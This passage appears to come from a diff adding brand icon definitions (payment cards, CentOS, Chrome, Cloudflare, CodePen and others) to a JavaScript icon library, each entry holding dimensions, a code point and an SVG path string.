10.1-23.9 12.6-30h103c0-.1 11.5 0 11.6 0 43.7.2 53.6-.8 64.4 5.3v-5.3H363v9.3c7.6-6.1 17.9-9.3 30.7-9.3h27.6c0 .5 1.9.3 2.3.3H456c4.2 9.8 2.6 6 8.8 20.6v-20.6h43.3c4.9 8-1-1.8 11.2 18.4v-18.4h39.9v92h-41.6c-5.4-9-1.4-2.2-13.2-21.9v21.9h-52.8c-6.4-14.8-.1-.3-6.6-15.3h-19c-4.2 10-2.2 5.2-6.4 15.3h-26.8c-12.3 0-22.3-3-29.7-8.9v8.9h-66.5c-.3-13.9-.1-24.8-.1-24.8-1.8-.3-3.4-.2-9.8-.2v25.1H151.2v-11.4c-2.5 5.6-2.7 5.9-5.1 11.4h-29.5c-4-8.9-2.9-6.4-5.1-11.4v11.4H58.6c-4.2-10.1-2.2-5.3-6.4-15.3H33c-4.2 10-2.2 5.2-6.4 15.3H0V432c0 26.5 21.5 48 48 48h480.1c26.5 0 48-21.5 48-48v-90.4c-12.7 8.3-32.7 6.1-67.5 6.1zm36.3-64.5H575v-14.6h-32.9c-12.8 0-23.8 6.6-23.8 20.7 0 33 42.7 12.8 42.7 27.4 0 5.1-4.3 6.4-8.4 6.4h-32l-.1 14.8h32c8.4 0 17.6-1.8 22.5-8.9v-25.8c-10.5-13.8-39.3-1.3-39.3-13.5 0-5.8 4.6-6.5 9.2-6.5zm-57 39.8h-32.2l-.1 14.8h32.2c14.8 0 26.2-5.6 26.2-22 0-33.2-42.9-11.2-42.9-26.3 0-5.6 4.9-6.4 9.2-6.4h30.4v-14.6h-33.2c-12.8 0-23.5 6.6-23.5 20.7 0 33 42.7 12.5 42.7 27.4-.1 5.4-4.7 6.4-8.8 6.4zm-42.2-40.1v-14.3h-55.2l-.1 69.3h55.2l.1-14.3-38.6-.3v-13.8H445v-14.1h-37.8v-12.5zm-56.3-108.1c-.3.2-1.4 2.2-1.4 7.6 0 6 .9 7.7 1.1 7.9.2.1 1.1.5 3.4.5l7.3-16.9c-1.1 0-2.1-.1-3.1-.1-5.6 0-7 .7-7.3 1zm20.4-10.5h-.1zm-16.2-15.2c-23.5 0-34 12-34 35.3 0 22.2 10.2 34 33 34h19.2l6.4-15.3h34.3l6.6 15.3h33.7v-51.9l31.2 51.9h23.6v-69h-16.9v48.1l-29.1-48.1h-25.3v65.4l-27.9-65.4h-24.8l-23.5 54.5h-7.4c-13.3 0-16.1-8.1-16.1-19.9 0-23.8 15.7-20 33.1-19.7v-15.2zm42.1 12.1l11.2 27.6h-22.8zm-101.1-12v69.3h16.9v-69.3z" ], + "cc-apple-pay": [ 576, 512, [], "f416", "M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z" ], + "cc-diners-club": [ 576, 512, [], "f24c", "M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z" ], + "cc-discover": [ 576, 512, [], "f1f2", "M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z" ], + "cc-jcb": [ 576, 512, [], "f24b", "M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z" ], + "cc-mastercard": [ 576, 512, [], "f1f1", "M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z" ], + "cc-paypal": [ 576, 512, [], "f1f4", "M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z" ], + "cc-stripe": [ 576, 512, [], "f1f5", "M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z" ], + "cc-visa": [ 576, 512, [], "f1f0", "M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z" ], + centercode: [ 512, 512, [], "f380", "M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z" ], + centos: [ 448, 512, [], "f789", "M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z" ], + chrome: [ 496, 512, [], "f268", "M131.5 217.5L55.1 100.1c47.6-59.2 119-91.8 192-92.1 42.3-.3 85.5 10.5 124.8 33.2 43.4 25.2 76.4 61.4 97.4 103L264 133.4c-58.1-3.4-113.4 29.3-132.5 84.1zm32.9 38.5c0 46.2 37.4 83.6 83.6 83.6s83.6-37.4 83.6-83.6-37.4-83.6-83.6-83.6-83.6 37.3-83.6 83.6zm314.9-89.2L339.6 174c37.9 44.3 38.5 108.2 6.6 157.2L234.1 503.6c46.5 2.5 94.4-7.7 137.8-32.9 107.4-62 150.9-192 107.4-303.9zM133.7 303.6L40.4 120.1C14.9 159.1 0 205.9 0 256c0 124 90.8 226.7 209.5 244.9l63.7-124.8c-57.6 10.8-113.2-20.8-139.5-72.5z" ], + chromecast: [ 512, 512, [], "f838", "M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z" ], + cloudflare: [ 640, 512, [], "e07d", "M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z" ], + cloudscale: [ 448, 512, [], "f383", "M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z" ], + cloudsmith: [ 332, 512, [], "f384", "M332.5 419.9c0 46.4-37.6 84.1-84 84.1s-84-37.7-84-84.1 37.6-84 84-84 84 37.6 84 84zm-84-243.9c46.4 0 80-37.6 80-84s-33.6-84-80-84-88 37.6-88 84-29.6 76-76 76-84 41.6-84 88 37.6 80 84 80 84-33.6 84-80 33.6-80 80-80z" ], + cloudversify: [ 616, 512, [], "f385", "M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z" ], + codepen: [ 512, 512, [], "f1cb", "M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z" ], + codiepie: [ 472, 512, [], "f284", "M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 